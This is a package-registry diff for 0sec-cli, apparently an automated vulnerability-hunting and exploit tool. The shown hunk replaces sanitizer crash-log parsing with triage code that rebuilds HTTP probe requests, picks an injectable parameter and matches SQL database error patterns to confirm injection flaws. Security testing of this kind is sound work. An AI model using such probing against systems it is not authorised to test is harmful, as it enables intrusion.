0sec-cli 0.23.0 → 0.24.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (213) hide show
  1. package/0.js +66 -67
  2. package/README.md +37 -11
  3. package/chunks/{adapt-loop-V3JFWOKC.js → adapt-loop-L77BWMNE.js} +4 -4
  4. package/chunks/{artifact-scraper-NYKUF2M5.js → artifact-scraper-BV67RAP5.js} +2 -2
  5. package/chunks/{assumption-mining-ZX3YVWEH.js → assumption-mining-RPVR77A3.js} +18 -18
  6. package/chunks/{backend-connections-H52NIVH2.js → backend-connections-ACIXNYZN.js} +3 -3
  7. package/chunks/{chunk-MQJVU2GZ.js → chunk-2NBZZFRG.js} +79 -9
  8. package/chunks/{chunk-A2ADXAC5.js → chunk-2XGBEH53.js} +1288 -2313
  9. package/chunks/{chunk-3E54JYS4.js → chunk-3LPBJMHB.js} +1 -1
  10. package/chunks/{chunk-XORZUR2H.js → chunk-3WUPCZGF.js} +1 -1
  11. package/chunks/{chunk-65H3MRBF.js → chunk-4ROZFLSR.js} +1 -1
  12. package/chunks/chunk-56UTQKXO.js +56 -0
  13. package/chunks/{chunk-YYS2H33A.js → chunk-5ETI27Q3.js} +2 -2
  14. package/chunks/{chunk-3ZNI7F42.js → chunk-5NFIY2SJ.js} +3 -3
  15. package/chunks/{chunk-A5QO7N3S.js → chunk-5PFRE522.js} +1 -1
  16. package/chunks/{chunk-EH2WTNY7.js → chunk-5WAHHZBF.js} +1424 -859
  17. package/chunks/{chunk-WIYNYNL2.js → chunk-6XMFCVJS.js} +1 -1
  18. package/chunks/chunk-7UHAXEOV.js +289 -0
  19. package/chunks/{chunk-CP6HANBE.js → chunk-BD7WULFS.js} +4 -3
  20. package/chunks/{chunk-T7ZEVY5G.js → chunk-BMDG6T7D.js} +815 -41
  21. package/chunks/{chunk-QMICC5O2.js → chunk-BOBIAHKA.js} +2 -2
  22. package/chunks/{chunk-VDOWARMJ.js → chunk-BPU6M42R.js} +15 -1
  23. package/chunks/{chunk-UELXHK2Y.js → chunk-CGBDEST2.js} +16 -5
  24. package/chunks/{remote-workflow-runtime-RGQ5ECMN.js → chunk-CJRZSWII.js} +39 -8
  25. package/chunks/chunk-F2P25DJY.js +5421 -0
  26. package/chunks/{chunk-TO35Y326.js → chunk-GTED3FSZ.js} +5 -2
  27. package/chunks/{chunk-LT7BFGXA.js → chunk-GV5WXDHY.js} +10 -10
  28. package/chunks/{chunk-LTEE2JWK.js → chunk-GXXX7AGH.js} +251 -8
  29. package/chunks/chunk-GZA7RGK7.js +5198 -0
  30. package/chunks/{chunk-KHPOSLCF.js → chunk-H5QURBBK.js} +174 -710
  31. package/chunks/chunk-I43YYHDU.js +566 -0
  32. package/chunks/{chunk-62ENS6XO.js → chunk-IIBNQTOK.js} +3 -2
  33. package/chunks/{chunk-BF5FIK7H.js → chunk-IJ6UPW3H.js} +108 -24
  34. package/chunks/{chunk-TPUJZ74W.js → chunk-ILRMLA6J.js} +2 -2
  35. package/chunks/{chunk-I3OCJ2OA.js → chunk-JWSOUKFF.js} +5 -3
  36. package/chunks/{chunk-UZUELPFW.js → chunk-K74DRDC5.js} +1 -1
  37. package/chunks/chunk-LMP2T4G2.js +700 -0
  38. package/chunks/{chunk-K55B4OH4.js → chunk-NBV4I237.js} +1 -1
  39. package/chunks/chunk-OOMBOLAF.js +295 -0
  40. package/chunks/{chunk-YAEJAZYW.js → chunk-PJU24AKR.js} +2 -2
  41. package/chunks/{chunk-NI6QYQSK.js → chunk-PVJUPIQG.js} +6 -6
  42. package/chunks/{chunk-WYNZFNMF.js → chunk-Q7JKIKKF.js} +289 -10
  43. package/chunks/{chunk-ITES7BCY.js → chunk-QNRYOJEB.js} +3 -111
  44. package/chunks/{chunk-PIR6BNE7.js → chunk-R2XBH476.js} +2 -2
  45. package/chunks/{chunk-O6Z4XPOM.js → chunk-RURJYCWY.js} +1 -1
  46. package/chunks/chunk-RVJVM5L4.js +164 -0
  47. package/chunks/{chunk-NX4H6L4M.js → chunk-S2GITRD5.js} +2 -2
  48. package/chunks/{chunk-W5VNCB57.js → chunk-SU4IHQQI.js} +1 -1
  49. package/chunks/{chunk-V2BWXPZP.js → chunk-SZDD77KX.js} +6 -6
  50. package/chunks/{chunk-EJH2TNVH.js → chunk-TVS6WVSK.js} +3 -3
  51. package/chunks/{chunk-LVGZGG63.js → chunk-UJE4WOQS.js} +1 -1
  52. package/chunks/chunk-VU7V2SDW.js +284 -0
  53. package/chunks/chunk-W624J7NF.js +117 -0
  54. package/chunks/{chunk-OLSKXTQZ.js → chunk-WUPN3D37.js} +22 -248
  55. package/chunks/{chunk-HFDSIHTE.js → chunk-X2IPO5JO.js} +202 -30
  56. package/chunks/{chunk-JEYIWMGL.js → chunk-X2ZMSRTP.js} +1 -1
  57. package/chunks/{chunk-F344NYUN.js → chunk-XA2IBHPB.js} +1 -1
  58. package/chunks/{chunk-Y4HJRUFE.js → chunk-YERUDEXT.js} +876 -817
  59. package/chunks/{chunk-AAA4PRWK.js → chunk-YKWARO3T.js} +2 -2
  60. package/chunks/{chunk-P7KDN5PK.js → chunk-YSQWZ67M.js} +14 -14
  61. package/chunks/{chunk-4HGGNBKK.js → chunk-ZM6ANQZJ.js} +2593 -1563
  62. package/chunks/{codex-models-Y457ND6Q.js → codex-models-6XVNFRXZ.js} +7 -7
  63. package/chunks/{commands-PBDAOZKA.js → commands-FRPOFIO4.js} +1603 -6945
  64. package/chunks/dashboard-5HDSNBAU.js +76 -0
  65. package/chunks/{db-TPSI552V.js → db-BXJNWUYJ.js} +3 -3
  66. package/chunks/{deep-review-DKED6EN5.js → deep-review-GSJEBLCG.js} +34 -33
  67. package/chunks/{disclose-LDNKAVRH.js → disclose-OU6Z6GVT.js} +4 -2
  68. package/chunks/{dist-RLPNLRZD.js → dist-7KSYDDSG.js} +33 -1
  69. package/chunks/{dist-7Q5A6TQM.js → dist-RKLQIXDT.js} +18 -2
  70. package/chunks/{dist-4LGRIBOC.js → dist-TQMHMSBZ.js} +99 -64
  71. package/chunks/eval-runner-A2DIGVP7.js +31 -0
  72. package/chunks/{exploit-agent-RMFYNG7H.js → exploit-agent-Y2P4GFIY.js} +1 -1
  73. package/chunks/{exploit-autoclimb-2A2PQI4E.js → exploit-autoclimb-YRZ3TMS2.js} +1 -1
  74. package/chunks/{exploit-climb-DEJ232QN.js → exploit-climb-4LEY4SDW.js} +2 -2
  75. package/chunks/{fix-JGBW7XUN.js → fix-RQSIG75B.js} +7 -7
  76. package/chunks/{harness-CBOLMUHB.js → harness-3NVC3DDY.js} +3 -3
  77. package/chunks/{hunt-scan-MIRMABY4.js → hunt-scan-W246VWJC.js} +16 -16
  78. package/chunks/{kernel-primitive-NAPDMJC7.js → kernel-primitive-T47V3RD3.js} +2 -2
  79. package/chunks/{kernel-vm-runner-PR5OSDQ2.js → kernel-vm-runner-AEL5E3SV.js} +2 -2
  80. package/chunks/local-engine-ZCW4YC6E.js +21 -0
  81. package/chunks/managed-operation-6R2QPPW5.js +60 -0
  82. package/chunks/{memsafety-scan-RPS446CD.js → memsafety-scan-L2Z7E7TE.js} +2 -2
  83. package/chunks/{native-loop-CGOJMNHV.js → native-loop-26X2CHBV.js} +14 -13
  84. package/chunks/orchestrate-OBS37FWQ.js +63 -0
  85. package/chunks/{prepare-YVNENPNL.js → prepare-C3KGMBXT.js} +5 -5
  86. package/chunks/provider-model-discovery-QGUGL3XW.js +277 -0
  87. package/chunks/remote-workflow-runtime-DB52SINR.js +12 -0
  88. package/chunks/{run-VH4OIDKF.js → run-MU3MFL2Z.js} +902 -322
  89. package/chunks/{runtime-4TAJFVF7.js → runtime-AUBLQUOH.js} +2 -2
  90. package/chunks/{runtime-HWL6HG7A.js → runtime-U66JNSAY.js} +7 -7
  91. package/chunks/{scan-stream-HJAZJONE.js → scan-stream-34F3LTPV.js} +3 -2
  92. package/chunks/{scope-Q5PIX2IS.js → scope-HSTG63TQ.js} +2 -2
  93. package/chunks/service-plugins-5B23PWXC.js +64 -0
  94. package/chunks/{session-store-2FEIZGSV.js → session-store-MKAAP3WL.js} +2 -2
  95. package/chunks/{variant-candidates-TX5V6XOT.js → variant-candidates-LG767HWH.js} +7 -7
  96. package/chunks/{web-recon-prepass-6HOUGF7Q.js → web-recon-prepass-NJP6J3E4.js} +5 -5
  97. package/chunks/workflow-runtime-AR627I26.js +178 -0
  98. package/dashboard/assets/{abnfDiagram-VCTEODGH-BuvumFYR.js → abnfDiagram-VCTEODGH-Cq149Jpk.js} +1 -1
  99. package/dashboard/assets/{arc-DZzWDuCG.js → arc-CpP-3TRW.js} +1 -1
  100. package/dashboard/assets/architecture-7GRP2DOG-z5EHYkyH.js +1 -0
  101. package/dashboard/assets/{architectureDiagram-5GKGNRK7-Bw5el_EL.js → architectureDiagram-5GKGNRK7-ewtXpjR_.js} +1 -1
  102. package/dashboard/assets/{blockDiagram-I7D4REHJ-BjVLEApp.js → blockDiagram-I7D4REHJ-CZYkRRDi.js} +1 -1
  103. package/dashboard/assets/{c4Diagram-7LVT6UL2-B9nNzx2J.js → c4Diagram-7LVT6UL2-CV7Iu3_Z.js} +1 -1
  104. package/dashboard/assets/channel-CuYjfiC5.js +1 -0
  105. package/dashboard/assets/{chunk-4HAMMTFA-y72Q95nW.js → chunk-4HAMMTFA-PKCyW4m-.js} +1 -1
  106. package/dashboard/assets/{chunk-75Z2AOVW-BOhrOGMO.js → chunk-75Z2AOVW-C5MlFTc_.js} +1 -1
  107. package/dashboard/assets/{chunk-DU6HZSFF-B0EhAaNb.js → chunk-DU6HZSFF-3M37ulcO.js} +2 -2
  108. package/dashboard/assets/{chunk-F27PBJKO-BR-hiDvM.js → chunk-F27PBJKO-DTAok0qM.js} +1 -1
  109. package/dashboard/assets/{chunk-GMAD6QVW-H15vJYXg.js → chunk-GMAD6QVW-CPsr2F33.js} +1 -1
  110. package/dashboard/assets/{chunk-GVQU2GXP-BRndps0o.js → chunk-GVQU2GXP-C2AXGf9A.js} +1 -1
  111. package/dashboard/assets/{chunk-IMKFNOWR-CIzC_OWx.js → chunk-IMKFNOWR-DMG6yD_O.js} +1 -1
  112. package/dashboard/assets/{chunk-L3NEJ4N5-NR4P1Vko.js → chunk-L3NEJ4N5-BSvwdbXx.js} +1 -1
  113. package/dashboard/assets/{chunk-OSK3NFVY-DtjTDf8S.js → chunk-OSK3NFVY-CfB8V7FU.js} +1 -1
  114. package/dashboard/assets/{chunk-P2QGCYS3-CYT11Qjx.js → chunk-P2QGCYS3-CvmZvq6n.js} +1 -1
  115. package/dashboard/assets/{chunk-POPQ4Y6H-Duj2Ygwu.js → chunk-POPQ4Y6H-D_TvwDxL.js} +1 -1
  116. package/dashboard/assets/{chunk-PWAF6VOD-z4p5Tf_y.js → chunk-PWAF6VOD-Da5GnuOY.js} +1 -1
  117. package/dashboard/assets/{chunk-SHT3W25Y-DYeLYLS3.js → chunk-SHT3W25Y-CcsMJpR-.js} +1 -1
  118. package/dashboard/assets/{chunk-SVP7TREG-BKowxCVI.js → chunk-SVP7TREG-COojjieJ.js} +1 -1
  119. package/dashboard/assets/{chunk-TICWLB2K-GDAwEFlH.js → chunk-TICWLB2K-nBAmJwx6.js} +1 -1
  120. package/dashboard/assets/{chunk-XXDRQBXY-DRD79Mjx.js → chunk-XXDRQBXY-r5HyhWDv.js} +1 -1
  121. package/dashboard/assets/classDiagram-ZZMXUADV-DCuOrWUV.js +1 -0
  122. package/dashboard/assets/classDiagram-v2-VYDZK3BY-DCuOrWUV.js +1 -0
  123. package/dashboard/assets/{common-vnzd7UOF.js → common-C6snVPsk.js} +1 -1
  124. package/dashboard/assets/{cose-bilkent-JH36ORCC-GqCLsRyf.js → cose-bilkent-JH36ORCC-BLGcaZHk.js} +1 -1
  125. package/dashboard/assets/{cynefin-OW5HDTMX-CJN9YwWN.js → cynefin-OW5HDTMX-DbZMK00I.js} +1 -1
  126. package/dashboard/assets/{cynefinDiagram-5FMLGOSQ-DVJHCYQY.js → cynefinDiagram-5FMLGOSQ-xodkuQtW.js} +1 -1
  127. package/dashboard/assets/{dagre-GXQ25YYZ-BMCrrJJR.js → dagre-GXQ25YYZ-CRk9qfSG.js} +1 -1
  128. package/dashboard/assets/{diagram-S7CK7UJ4-CLYDdOEm.js → diagram-S7CK7UJ4-DNoTMlCO.js} +1 -1
  129. package/dashboard/assets/{diagram-UQ7AKVKN-CnPuAZK7.js → diagram-UQ7AKVKN-COccuyew.js} +1 -1
  130. package/dashboard/assets/{diagram-VSXAHHWV-Cr2I2DnG.js → diagram-VSXAHHWV-g6D1tWRb.js} +1 -1
  131. package/dashboard/assets/{diagram-VX7I27RA-_mGW1wpp.js → diagram-VX7I27RA-DhO4eVIC.js} +1 -1
  132. package/dashboard/assets/{diagram-Z3DM3KII-igybB0l9.js → diagram-Z3DM3KII-DeOQFexd.js} +1 -1
  133. package/dashboard/assets/{dist-Bb7_-x5y.js → dist-BQYeOQg3.js} +1 -1
  134. package/dashboard/assets/{ebnfDiagram-PWID7BFC-CVCICf2R.js → ebnfDiagram-PWID7BFC-MtkX2feM.js} +1 -1
  135. package/dashboard/assets/{erDiagram-RLTQ6QDP-CRjnfgxj.js → erDiagram-RLTQ6QDP-DIWSsoYZ.js} +1 -1
  136. package/dashboard/assets/eventmodeling-NTZA5JFV-D_3ez4Gv.js +1 -0
  137. package/dashboard/assets/flowDiagram-HODETNUW-D2boyYEd.js +1 -0
  138. package/dashboard/assets/{ganttDiagram-EL5Y4UJY-DppD7sD7.js → ganttDiagram-EL5Y4UJY-DKggkJe0.js} +1 -1
  139. package/dashboard/assets/{gitGraph-4MIJSDKK-Tw0vNnQc.js → gitGraph-4MIJSDKK-DFOQYwXc.js} +1 -1
  140. package/dashboard/assets/{gitGraphDiagram-WWUBYQGX-Cpf96-z3.js → gitGraphDiagram-WWUBYQGX-r_iR8Qzo.js} +1 -1
  141. package/dashboard/assets/{info-A6RAGUB7-DLyt9arx.js → info-A6RAGUB7-DeednLoB.js} +1 -1
  142. package/dashboard/assets/{infoDiagram-27XIBGKW-B6_piSNS.js → infoDiagram-27XIBGKW-ClQk7UyQ.js} +1 -1
  143. package/dashboard/assets/{ishikawaDiagram-5VMMS53U-DvMO0B0X.js → ishikawaDiagram-5VMMS53U-tR7Vziog.js} +1 -1
  144. package/dashboard/assets/{journeyDiagram-3NMN7TZE-f7ZK98b6.js → journeyDiagram-3NMN7TZE-Cpb9IqKL.js} +1 -1
  145. package/dashboard/assets/{kanban-definition-UXKFOSKX-Dso0nAxL.js → kanban-definition-UXKFOSKX-BzUuKbA9.js} +1 -1
  146. package/dashboard/assets/katex-BdBmVSus.js +257 -0
  147. package/dashboard/assets/{line-VcKaFG0G.js → line-BHY_tSHu.js} +1 -1
  148. package/dashboard/assets/{linear-D7YnpiWh.js → linear-naZZ1pHk.js} +1 -1
  149. package/dashboard/assets/{mermaid-parser.core-DriL2hrV.js → mermaid-parser.core-CPvd4cEx.js} +3 -3
  150. package/dashboard/assets/{mermaid.core-DJWYDh_P.js → mermaid.core-D_QsUPU8.js} +4 -4
  151. package/dashboard/assets/{mindmap-definition-YA3MSWOX-DZsoIeac.js → mindmap-definition-YA3MSWOX-CtfLTPPJ.js} +1 -1
  152. package/dashboard/assets/operations-BwCzhVnT.js +130 -0
  153. package/dashboard/assets/operations-QjKT0Hwi.css +1 -0
  154. package/dashboard/assets/{packet-AYTQ26CC-BQBIXKxk.js → packet-AYTQ26CC-DDQbkT9I.js} +1 -1
  155. package/dashboard/assets/{pegDiagram-XKGWAZYB-B0-lslgW.js → pegDiagram-XKGWAZYB-C1Dclbzj.js} +1 -1
  156. package/dashboard/assets/{pie-WAS4IAKB-DoY6dwQs.js → pie-WAS4IAKB-LpU4ULAs.js} +1 -1
  157. package/dashboard/assets/{pieDiagram-E7YTZNPT-ElmdRjp5.js → pieDiagram-E7YTZNPT-Cd7XwYo5.js} +1 -1
  158. package/dashboard/assets/{quadrantDiagram-AXDQQJYC-Ci1h98Q2.js → quadrantDiagram-AXDQQJYC-CaS-GQ4X.js} +1 -1
  159. package/dashboard/assets/{radar-RG4KPBEZ-DHod2WgB.js → radar-RG4KPBEZ-CcxW3NJm.js} +1 -1
  160. package/dashboard/assets/{railroad-74A4TZTK-90JxB4xV.js → railroad-74A4TZTK-9P5Rl8fP.js} +1 -1
  161. package/dashboard/assets/railroad-abnf-HS5TGJTU-CSfpwjna.js +1 -0
  162. package/dashboard/assets/railroad-ebnf-LZEXJU2U-D6R5qzr-.js +1 -0
  163. package/dashboard/assets/railroad-peg-WCYAUIDC-DKEX7ITG.js +1 -0
  164. package/dashboard/assets/{railroadDiagram-O6MQD6OU-k3190A6L.js → railroadDiagram-O6MQD6OU-BeesTrqn.js} +1 -1
  165. package/dashboard/assets/{requirementDiagram-BXWQKSXE-C3-eR7I5.js → requirementDiagram-BXWQKSXE-IjyK0DhW.js} +1 -1
  166. package/dashboard/assets/{sankeyDiagram-P5KCCOFB-Bc86pi8w.js → sankeyDiagram-P5KCCOFB-DmIluQqo.js} +1 -1
  167. package/dashboard/assets/{sequenceDiagram-WJ2MYXX4-Bv_MvEmz.js → sequenceDiagram-WJ2MYXX4-CUp8ZjTc.js} +1 -1
  168. package/dashboard/assets/{src-D7Dqq5yP.js → src-r61wDjcA.js} +1 -1
  169. package/dashboard/assets/{stateDiagram-D77RDMKH-Bq_GVmeW.js → stateDiagram-D77RDMKH-Dy9TQb8P.js} +1 -1
  170. package/dashboard/assets/stateDiagram-v2-MP3YSRHH-CQb0ZtPr.js +1 -0
  171. package/dashboard/assets/{swimlanes-42K2YHIH-q0iK-e0P.js → swimlanes-42K2YHIH-CZuDV7V5.js} +1 -1
  172. package/dashboard/assets/swimlanesDiagram-VR7AAH4N-BxgWMq8X.js +8 -0
  173. package/dashboard/assets/{timeline-definition-24CTP7MA-CNfF07hM.js → timeline-definition-24CTP7MA-BGdXW-iY.js} +1 -1
  174. package/dashboard/assets/{treeView-Q6P3EWNA-m629ePnS.js → treeView-Q6P3EWNA-DlRrayjM.js} +1 -1
  175. package/dashboard/assets/{treemap-WGGIJYW6-D9Cb2ETv.js → treemap-WGGIJYW6-C6UqLKfI.js} +1 -1
  176. package/dashboard/assets/{vennDiagram-4TSXK5OY-v4dKF-FE.js → vennDiagram-4TSXK5OY-DzKWHJsl.js} +1 -1
  177. package/dashboard/assets/{wardley-WFR3VGLG-DkwH_nRe.js → wardley-WFR3VGLG-thmyHKb0.js} +1 -1
  178. package/dashboard/assets/{wardleyDiagram-VM6X3IG4-3ImohVu4.js → wardleyDiagram-VM6X3IG4-DGsjYmNJ.js} +1 -1
  179. package/dashboard/assets/{xychartDiagram-S5SC5T6Z-QJu3dm7K.js → xychartDiagram-S5SC5T6Z-C7_T_tWt.js} +1 -1
  180. package/dashboard/index.html +3 -3
  181. package/package.json +3 -2
  182. package/worker-assets/demo-target/README.md +15 -0
  183. package/worker-assets/demo-target/include/decoder.h +27 -0
  184. package/worker-assets/demo-target/patched-decoder.c +40 -0
  185. package/worker-assets/demo-target/src/decoder.c +50 -0
  186. package/worker-assets/demo-target/witness-65537x1.bin +0 -0
  187. package/chunks/chunk-3P3XXSIJ.js +0 -463
  188. package/chunks/chunk-EWXOG6D3.js +0 -1695
  189. package/chunks/chunk-FXR3BT2G.js +0 -226
  190. package/chunks/chunk-R35KKJA4.js +0 -90
  191. package/chunks/eval-runner-RZKDOQ2G.js +0 -30
  192. package/chunks/managed-operation-YNQQEA5V.js +0 -59
  193. package/chunks/orchestrate-5NK34H3W.js +0 -62
  194. package/chunks/service-plugins-QYFITODK.js +0 -63
  195. package/chunks/workflow-runtime-ZEEBJFQG.js +0 -64
  196. package/dashboard/assets/architecture-7GRP2DOG-DK9bv1Md.js +0 -1
  197. package/dashboard/assets/channel-Ck17eKdX.js +0 -1
  198. package/dashboard/assets/classDiagram-ZZMXUADV-BaeZA6LE.js +0 -1
  199. package/dashboard/assets/classDiagram-v2-VYDZK3BY-BaeZA6LE.js +0 -1
  200. package/dashboard/assets/eventmodeling-NTZA5JFV-po5oDydv.js +0 -1
  201. package/dashboard/assets/flowDiagram-HODETNUW-TSV9s7q4.js +0 -1
  202. package/dashboard/assets/katex-CXMH3UgJ.js +0 -257
  203. package/dashboard/assets/operations-BIaUSnYv.js +0 -121
  204. package/dashboard/assets/operations-BeCdkT4S.css +0 -1
  205. package/dashboard/assets/railroad-abnf-HS5TGJTU-BkXGl114.js +0 -1
  206. package/dashboard/assets/railroad-ebnf-LZEXJU2U-QVAERn2C.js +0 -1
  207. package/dashboard/assets/railroad-peg-WCYAUIDC-B1-PM01z.js +0 -1
  208. package/dashboard/assets/stateDiagram-v2-MP3YSRHH-z1XRaftz.js +0 -1
  209. package/dashboard/assets/swimlanesDiagram-VR7AAH4N-C9L6XBQj.js +0 -8
  210. package/dashboard/assets/zero-connect-BGDY0PMZ.webp +0 -0
  211. package/dashboard/assets/zero-curious-DovTLOs8.webp +0 -0
  212. package/dashboard/assets/zero-peek-Dzm3MT3X.png +0 -0
  213. package/dashboard/assets/zero-planning-CBeHDrG_.webp +0 -0
@@ -2,261 +2,779 @@
2
2
  import { createRequire as __0CreateRequire } from "node:module";
3
3
  const require = __0CreateRequire(import.meta.url);
4
4
 
5
- // packages/core/dist/review/sanitizer-log.js
6
- var ASAN_CATEGORY_BY_KIND = {
7
- "heap-use-after-free": "use-after-free",
8
- "stack-use-after-return": "use-after-free",
9
- "stack-use-after-scope": "use-after-free",
10
- "double-free": "double-free",
11
- "attempting-double-free": "double-free",
12
- "stack-buffer-overflow": "stack-buffer-overflow",
13
- "heap-buffer-overflow": "heap-overflow",
14
- "global-buffer-overflow": "heap-overflow"
15
- };
16
- function categoryForAsan(kind, primitive) {
17
- if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
18
- return "out-of-bounds-read";
5
+ // packages/core/dist/triage/oracle-runtime.js
6
+ import { randomUUID } from "node:crypto";
7
+ import { createServer } from "node:http";
8
+
9
+ // packages/core/dist/triage/oracles.js
10
+ var DEFAULT_TIMEOUT_MS = 1e4;
11
+ function notVerifiable(reason) {
12
+ return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
13
+ }
14
+ function verified(evidence, confidence = 1) {
15
+ return { verified: true, confidence, evidence, reason: "" };
16
+ }
17
+ function parseRequest(requestText, fallbackTarget) {
18
+ const parsed = {
19
+ method: "GET",
20
+ url: fallbackTarget,
21
+ headers: {},
22
+ body: "",
23
+ params: {}
24
+ };
25
+ const parseFallbackQuery = () => {
26
+ try {
27
+ const u = new URL(parsed.url);
28
+ u.searchParams.forEach((v, k) => {
29
+ parsed.params[k] = v;
30
+ });
31
+ } catch {
32
+ }
33
+ };
34
+ if (!requestText) {
35
+ parseFallbackQuery();
36
+ return parsed;
19
37
  }
20
- if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
21
- return "out-of-bounds-write";
38
+ requestText = requestText.replace(/\r\n/g, "\n");
39
+ const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
40
+ if (curlUrl)
41
+ parsed.url = curlUrl[1].replace(/['"]$/, "");
42
+ const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
43
+ if (curlMethod)
44
+ parsed.method = curlMethod[1].toUpperCase();
45
+ const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
46
+ if (curlData)
47
+ parsed.body = curlData[1];
48
+ const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
49
+ if (startLine) {
50
+ parsed.method = startLine[1].toUpperCase();
51
+ const path = startLine[2];
52
+ const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
53
+ if (/^https?:\/\//i.test(path)) {
54
+ parsed.url = path;
55
+ } else if (hostHeader) {
56
+ const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
57
+ parsed.url = `${scheme}://${hostHeader[1]}${path}`;
58
+ } else if (path.startsWith("/")) {
59
+ try {
60
+ const base = new URL(fallbackTarget);
61
+ parsed.url = `${base.origin}${path}`;
62
+ } catch {
63
+ parsed.url = path;
64
+ }
65
+ } else {
66
+ parsed.url = path;
67
+ }
68
+ const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
69
+ for (const line of headerBlock.split("\n").slice(1)) {
70
+ const colon = line.indexOf(":");
71
+ if (colon > 0) {
72
+ const name = line.slice(0, colon).trim().toLowerCase();
73
+ if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
74
+ parsed.headers[name] = line.slice(colon + 1).trim();
75
+ }
76
+ }
77
+ }
78
+ const sep = requestText.indexOf("\n\n");
79
+ if (sep >= 0)
80
+ parsed.body = requestText.slice(sep + 2);
22
81
  }
23
- return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
82
+ try {
83
+ const u = new URL(parsed.url);
84
+ u.searchParams.forEach((v, k) => {
85
+ parsed.params[k] = v;
86
+ });
87
+ } catch {
88
+ }
89
+ if (parsed.body.trimStart().startsWith("{")) {
90
+ try {
91
+ const json = JSON.parse(parsed.body);
92
+ for (const [key, value] of Object.entries(json)) {
93
+ if (typeof value === "string" || typeof value === "number")
94
+ parsed.params[key] = String(value);
95
+ }
96
+ } catch {
97
+ }
98
+ } else if (parsed.body.includes("=")) {
99
+ new URLSearchParams(parsed.body).forEach((value, key) => {
100
+ parsed.params[key] = value;
101
+ });
102
+ }
103
+ return parsed;
24
104
  }
25
- function categoryForUbsan(message) {
26
- const lower = message.toLowerCase();
27
- if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
28
- return { kind: "signed-integer-overflow", category: "integer-overflow" };
105
+ function buildProbeRequest(parsed, newParams) {
106
+ const method = parsed.method || "GET";
107
+ const init = { method, headers: { ...parsed.headers } };
108
+ const url = new URL(parsed.url);
109
+ let json;
110
+ if (parsed.body.trimStart().startsWith("{")) {
111
+ try {
112
+ json = JSON.parse(parsed.body);
113
+ } catch {
114
+ }
29
115
  }
30
- if (lower.includes("shift exponent") || lower.includes("shift base")) {
31
- return { kind: "shift-exponent", category: "integer-overflow" };
116
+ const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
117
+ for (const [key, value] of Object.entries(newParams)) {
118
+ if (method !== "GET" && json && Object.hasOwn(json, key))
119
+ json[key] = value;
120
+ else if (method !== "GET" && form?.has(key))
121
+ form.set(key, value);
122
+ else
123
+ url.searchParams.set(key, value);
32
124
  }
33
- if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
34
- return { kind: "float-cast-overflow", category: "integer-truncation" };
125
+ if (method !== "GET") {
126
+ init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
127
+ if (json)
128
+ init.headers = { "content-type": "application/json", ...parsed.headers };
129
+ else if (form)
130
+ init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
35
131
  }
36
- if (lower.includes("null pointer") || lower.includes("null-pointer")) {
37
- return { kind: "null-pointer-use", category: "null-deref" };
132
+ return { url: url.toString(), init };
133
+ }
134
+ async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
135
+ const controller = new AbortController();
136
+ const timer = setTimeout(() => controller.abort(), timeoutMs);
137
+ const start = Date.now();
138
+ try {
139
+ const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
140
+ const body = await res.text();
141
+ return { status: res.status, body, latencyMs: Date.now() - start };
142
+ } catch {
143
+ return null;
144
+ } finally {
145
+ clearTimeout(timer);
38
146
  }
39
- return { kind: "undefined-behavior", category: "other" };
40
147
  }
41
- function parsePrimitive(text) {
42
- const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
43
- if (!access)
44
- return { primitive: "unknown" };
45
- return {
46
- primitive: access[1].toLowerCase(),
47
- accessSize: Number(access[2])
48
- };
148
+ var SQL_ERROR_PATTERNS = [
149
+ // MySQL
150
+ /You have an error in your SQL syntax/i,
151
+ /\bmysql_fetch_/i,
152
+ /\bMySQLSyntaxErrorException\b/i,
153
+ /\bMariaDB\b.*?\bsyntax\b/i,
154
+ // PostgreSQL
155
+ /\bPG::SyntaxError\b/i,
156
+ /\bpq:\s+syntax error\b/i,
157
+ /\bpsql:.*?ERROR:/i,
158
+ /unterminated quoted string/i,
159
+ // SQLite
160
+ /\bSQLite3::/i,
161
+ /\bsqlite3\.OperationalError\b/i,
162
+ /near\s+".+?":\s*syntax error/i,
163
+ // MSSQL
164
+ /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
165
+ /\bUnclosed quotation mark\b/i,
166
+ /\bOLE DB.*?SQL Server\b/i,
167
+ // Oracle
168
+ /\bORA-\d{4,5}\b/i,
169
+ /\bquoted string not properly terminated\b/i
170
+ ];
171
+ function detectSqlError(body) {
172
+ for (const re of SQL_ERROR_PATTERNS) {
173
+ const m = body.match(re);
174
+ if (m)
175
+ return m[0];
176
+ }
177
+ return null;
49
178
  }
50
- function parseFrames(text) {
51
- const frames = [];
52
- const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
53
- let match;
54
- while ((match = frameRegex.exec(text)) !== null) {
55
- frames.push({
56
- functionName: match[1],
57
- file: match[2],
58
- line: Number(match[3])
59
- });
179
+ function pickInjectableParam(parsed) {
180
+ for (const [k, v] of Object.entries(parsed.params)) {
181
+ if (v && v.length > 0)
182
+ return { key: k, value: v };
60
183
  }
61
- return frames;
184
